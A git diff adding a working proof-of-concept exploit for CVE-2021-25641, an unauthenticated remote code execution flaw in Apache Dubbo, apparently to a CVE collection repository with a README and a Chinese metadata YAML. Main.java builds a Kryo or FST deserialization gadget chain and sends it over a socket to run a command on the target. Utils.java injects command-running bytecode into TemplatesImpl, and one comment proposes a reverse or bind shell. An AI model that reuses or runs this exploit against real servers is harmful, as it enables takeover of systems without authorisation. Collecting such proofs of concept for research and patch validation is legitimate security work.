diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml new file mode 100644 index 0000000000000000000000000000000000000000..684c223ab072bfdd3b63b13980189c50587b0c5c --- /dev/null +++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml @@ -0,0 +1,60 @@ + + + 4.0.0 + + groupId + DubboProtocolExploit + 1.0-SNAPSHOT + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 8 + 8 + + + + + + + org.apache.dubbo + dubbo + 2.7.3 + + + org.apache.dubbo + dubbo-common + 2.7.3 + + + com.alibaba + dubbo + 2.6.9 + + + com.alibaba + dubbo-remoting-netty4 + 2.6.9 + + + io.netty + netty-all + 4.1.60.Final + + + org.springframework + spring-web + 5.1.9.RELEASE + + + com.nqzero + permit-reflect + 0.4 + + + diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java new file mode 100644 index 0000000000000000000000000000000000000000..0efbaf721a16a33936938d78268edc9b618955b7 --- /dev/null +++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java @@ -0,0 +1,157 @@ +package DubboProtocolExploit; + + +import com.alibaba.fastjson.JSONObject; +import org.apache.dubbo.common.io.Bytes; +import org.apache.dubbo.common.serialize.Serialization; +import org.apache.dubbo.common.serialize.fst.FstObjectOutput; +import org.apache.dubbo.common.serialize.fst.FstSerialization; +import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput; +import org.apache.dubbo.common.serialize.kryo.KryoSerialization; +import org.apache.dubbo.common.serialize.ObjectOutput; +import org.apache.dubbo.rpc.RpcInvocation; +import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput; +import org.apache.dubbo.serialize.hessian.Hessian2Serialization; +/*import com.alibaba.dubbo.common.io.Bytes; +import com.alibaba.dubbo.common.serialize.Serialization; +import com.alibaba.dubbo.common.serialize.fst.FstObjectOutput; +import com.alibaba.dubbo.common.serialize.fst.FstSerialization; +import com.alibaba.dubbo.common.serialize.kryo.KryoObjectOutput; +import com.alibaba.dubbo.common.serialize.kryo.KryoSerialization; +import com.alibaba.dubbo.common.serialize.ObjectOutput;*/ + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.io.Serializable; +import java.lang.reflect.Method; +import java.net.Socket; + +/* This Dubbo protocol exploit affects versions <= 2.7.3, + and will print "whoops!" on the server's console via RCE. + + This issue is caused by deserialization of untrusted data, + triggered via a communication protocol that allows dynamically + switching to a vulnerable deserializer, and exploited with a + payload gadget chain based on FastJson + + On Windows servers - it will try to execute calc.exe + On Linux servers - it will touch /tmp/dubboexploited + */ + +public class Main { + // Customize URL for remote targets + public static String DUBBO_HOST_NAME = "localhost"; + public static int DUBBO_HOST_PORT = 20880; + + // OS-specific payloads - comment to switch OS variants + // exploit will print "whoops!" on server console either way + //public static String DUBBO_RCE_COMMAND = "touch /tmp/dubboexploited"; // Linux + public static String DUBBO_RCE_COMMAND = "calc.exe"; // Windows + + //Exploit variant - comment to switch exploit variants + public static String EXPLOIT_VARIANT = "Kryo"; + //public static String EXPLOIT_VARIANT = "FST"; + + // Magic header from ExchangeCodec + protected static final short MAGIC = (short) 0xdabb; + protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0]; + protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1]; + + // Message flags from ExchangeCodec + protected static final byte FLAG_REQUEST = (byte) 0x80; + protected static final byte FLAG_TWOWAY = (byte) 0x40; + + public static void main(String[] args) throws Exception { + Object templates = Utils.createTemplatesImpl(DUBBO_RCE_COMMAND); // TemplatesImpl gadget chain + + // triggers Runtime.exec() on TemplatesImpl.newTransformer() + JSONObject jo = new JSONObject(); + jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper + Object gadgetChain = Utils.makeXStringToStringTrigger(jo); // toString() trigger + + // encode request data. + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + + // Kryo exploit variant + Serialization s; + ObjectOutput objectOutput; + switch(EXPLOIT_VARIANT) { + case "FST": + s = new FstSerialization(); + objectOutput = new FstObjectOutput(bos); + break; + case "Kryo": + default: + s = new KryoSerialization(); + objectOutput = new KryoObjectOutput(bos); + break; + } + + // 0xc2 is Hessian2 + two-way + Request serialization + // Kryo | two-way | Request is 0xc8 on third byte + // FST | two-way | Request is 0xc9 on third byte + + byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY); + byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs + bos.write(header); + // Strings need only satisfy "readUTF" calls until "readObject" is reached, so garbage metadata works too + /* + objectOutput.writeUTF("notAversion"); + objectOutput.writeUTF("notAservice"); + objectOutput.writeUTF("notAserviceVersion"); + objectOutput.writeUTF("notAmethod"); + objectOutput.writeUTF("notAtype"); //*/ + + // This section contains valid data writes + RpcInvocation ri = new RpcInvocation(); + ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class}); + //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;"); + ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}}); + // Strings need only satisfy "readUTF" calls until "readObject" is reached + + // /* + objectOutput.writeUTF("2.0.2"); + objectOutput.writeUTF("org.apache.dubbo.demo.DemoService"); + objectOutput.writeUTF("0.0.0"); + objectOutput.writeUTF("sayHello"); + objectOutput.writeUTF("Ljava/lang/String;"); //*/ + + objectOutput.writeObject(gadgetChain); + objectOutput.writeObject(ri.getAttachments()); + + objectOutput.flushBuffer(); + byte[] payload = bos.toByteArray(); + int len = payload.length - header.length; + Bytes.int2bytes(len, payload, 12); + + // Dubbo Message Stream Hex Dump + for (int i = 0; i < payload.length; i++) { + System.out.print(String.format("%02X", payload[i]) + " "); + if ((i + 1) % 8 == 0) + System.out.print(" "); + if ((i + 1) % 16 == 0 ) + System.out.println(); + + } + // Payload string + System.out.println(); + System.out.println(new String(payload)); + + Socket pingSocket = null; + OutputStream out = null; + // Send request over TCP socket + try { + pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT); + out = pingSocket.getOutputStream(); + } catch (IOException e) { + return; + } + out.write(payload); + out.flush(); + out.close(); + pingSocket.close(); + System.out.println("Sent!"); + } +} diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java new file mode 100644 index 0000000000000000000000000000000000000000..8aaf5e6c5e316999baabf4d0da8d9b132a8730fa --- /dev/null +++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java @@ -0,0 +1,221 @@ +package DubboProtocolExploit; + +import com.nqzero.permit.Permit; +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import com.sun.org.apache.xpath.internal.objects.XString; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import org.springframework.aop.target.HotSwappableTargetSource; +import sun.reflect.ReflectionFactory; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.Serializable; +import java.lang.reflect.*; +import java.util.HashMap; +import java.util.Map; + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +/* + * Utility class - based on code found in ysoserial, includes method calls used in + * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were + * consolidated into a single util class for the sake of brevity; they are otherwise unchanged. + * + * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger + * to create a toString trigger + * + * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial + * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec + */ +public class Utils { + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} + + + @Override + public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + public static InvocationHandler createMemoizedInvocationHandler (final Map map ) throws Exception { + return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + public static Object createTemplatesImpl ( final String command ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { + return createTemplatesImpl( + command, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + + public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" + + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + + "\");"; + clazz.makeClassInitializer().insertAfter(cmd); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Utils.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, Utils.classAsBytes(Utils.Foo.class) + }); + + // required to make TemplatesImpl happy + Utils.setFieldValue(templates, "_name", "Pwnr"); + Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } + + public static void setAccessible(AccessibleObject member) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } + catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + setAccessible(ctor); + return ctor; + } + + @SuppressWarnings ( {"unchecked"} ) + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + setAccessible(objCons); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + setAccessible(sc); + return (T)sc.newInstance(consArgs); + } + + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + public static HashMap makeMap (Object v1, Object v2 ) throws Exception { + HashMap s = new HashMap<>(); + Utils.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Utils.setFieldValue(s, "table", tbl); + return s; + } + + public static Object makeXStringToStringTrigger(Object o) throws Exception { + XString x = new XString("HEYO"); + return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x)); + } +} \ No newline at end of file diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/org/apache/dubbo/demo/DemoService.java b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/org/apache/dubbo/demo/DemoService.java new file mode 100644 index 0000000000000000000000000000000000000000..f8b4fc2f419f6c97f4e4623e2d14c4976b5a929e --- /dev/null +++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/org/apache/dubbo/demo/DemoService.java @@ -0,0 +1,5 @@ +package org.apache.dubbo.demo; + +public interface DemoService { + public Object sayHello(Object o); +} diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/README.md b/cve/apache-Dubbo/2021/CVE-2021-25641/README.md new file mode 100644 index 0000000000000000000000000000000000000000..981cf521b01a069e606ff40c4df1f46397641afc --- /dev/null +++ b/cve/apache-Dubbo/2021/CVE-2021-25641/README.md @@ -0,0 +1,5 @@ +# The 0xDABB of Doom - CVE-2021-25641-Proof-of-Concept +Apache/Alibaba Dubbo <= 2.7.3 PoC Code for CVE-2021-25641 RCE via Deserialization of Untrusted Data; Affects Versions <= 2.7.6 With Different Gadgets + +Covered in-depth in the article "The 0xDABB of Doom", published on the Checkmarx blog +https://www.checkmarx.com/blog/technical-blog/the-0xdabb-of-doom-cve-2021-25641/ diff --git a/cve/apache-Dubbo/2021/yaml/CVE-2021-25641.yaml b/cve/apache-Dubbo/2021/yaml/CVE-2021-25641.yaml new file mode 100644 index 0000000000000000000000000000000000000000..faf28d8b6d6d0252ca4fe88fa923903c93239c54 --- /dev/null +++ b/cve/apache-Dubbo/2021/yaml/CVE-2021-25641.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-25641 +source: https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept +info: + name: Dubbo是一个高性能优秀的服务框架。 + severity: CRITICAL + description: | + 每个Apache Dubbo服务器都会设置一个序列化id,告诉客户端它正在使用哪个序列化协议。但是对于 2.7.8 或 2.6.9 之前的 Dubbo 版本,攻击者可以通过篡改字节序码标志(即不遵循服务器的指令)来选择提供程序将使用的序列化 ID。这意味着,如果弱反序列化程序(如 Kryo 和 FST)以某种方式在代码范围内(例如,如果 Kryo 在某种程度上是依赖项的一部分),则未经身份验证的远程攻击者可以告诉提供程序使用弱反序列化程序,然后继续利用它。 + scope-of-influence: + Dubbo 2.5.0 - 2.6.9 + Dubbo 2.7.0 - 2.7.8 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-25641 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-25641 + cwe-id: CWE-502 + cnvd-id: None + kve-id: None + tags: cve2021, Apache Dubbo \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index e348ad077a31411bdce499c500ea5c64cd291a07..19a307e336c7449660b0eb5363a9df6c39bbc3d8 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -13,6 +13,7 @@ cve: - CVE-2022-24706 apache-Dubbo: - CVE-2021-43297 + - CVE-2021-25641 apache-log4j: - CVE-2021-44228 apache-solr: @@ -21,6 +22,7 @@ cve: - CVE-2022-29885 - CVE-2020-9484 - CVE-2020-1938 + - CVE-2019-0232 apache-Spark: - CVE-2022-33891 apache-Flink: